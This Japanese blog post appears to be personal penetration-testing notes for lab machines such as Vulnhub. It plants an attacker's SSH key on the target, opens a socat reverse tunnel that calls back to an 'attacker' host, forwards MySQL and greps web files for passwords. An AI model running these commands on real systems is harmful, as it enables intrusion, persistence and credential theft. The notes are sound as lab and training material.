コマンドはビルトインなので実行できるSSH shellでログイン
Kali@ssh-keygen -P "" -f vulnerable
Target@ mkdir ~www-data/.ssh
Target@chmod 700 ~www-data/.shh
Target@cd ~www-data/.ssh
Target@echo “Kali上でcat vulnerable.pubした結果” >> authorized_keys
Target@chmod 600 authorized_keys
これで準備OK
Kali@ssh 192.168.56.26 -l www-data -i vulnerable
参考(詳細)
https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shellspen-testing.sans.org
Socatを用いたTCPリダイレクト
Kali@ssh-keygen -P "" -f vulnerable
でSSH鍵を作成する。これでvulnerableとvulnerable.pubという秘密鍵と公開鍵が作成される。このうち、公開鍵を標的のサーバ上に保存する。「@Kali」と書いてるのはどっちで操作するのかわかりやすくするためTarget@ mkdir ~www-data/.ssh
Target@chmod 700 ~www-data/.shh
Target@cd ~www-data/.ssh
Target@echo “Kali上でcat vulnerable.pubした結果” >> authorized_keys
Target@chmod 600 authorized_keys
これで準備OK。Target@ while true; do socat TCP4:attacker:443 TCP4:127.0.0.1:22 ; done
Kali@ sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr
そして、最後にKaliで新たなTerminalを作成して、そこでKali@ssh localhost -p 2222 -l www-data -i vulnerable
とすれば以下のように使いやすいシェルが降ってくる。
さらに、代わりにKali@ssh localhost -p 2222 -l www-data -i vulnerable -L 13306:localhost:3306
とすることで、このシェルがつながった後、シェル上でTarget@mysql -h localhost -u root -P 13306
とすることで以下のような良いMysqlシェルが立ち上がる。
クレデンシャル情報の探索
find . -type f -name "*.php" | xargs grep "username" | grep "password"
grep -r "config" . | grep "password"
locate settings.php
などで探す。/var/www/以下にあるファイルに対して行う。settings
,config
などの名前のことが多い。
2020 3/8追記
以前ここに書いていたWindows のPEとIGの方針は文字数の都合上以下に載せなおしました。
kakyouim.hatenablog.com
最後
なんか間違ってたりしてたら教えていただけると幸いです。Vulnbub頑張るぞい!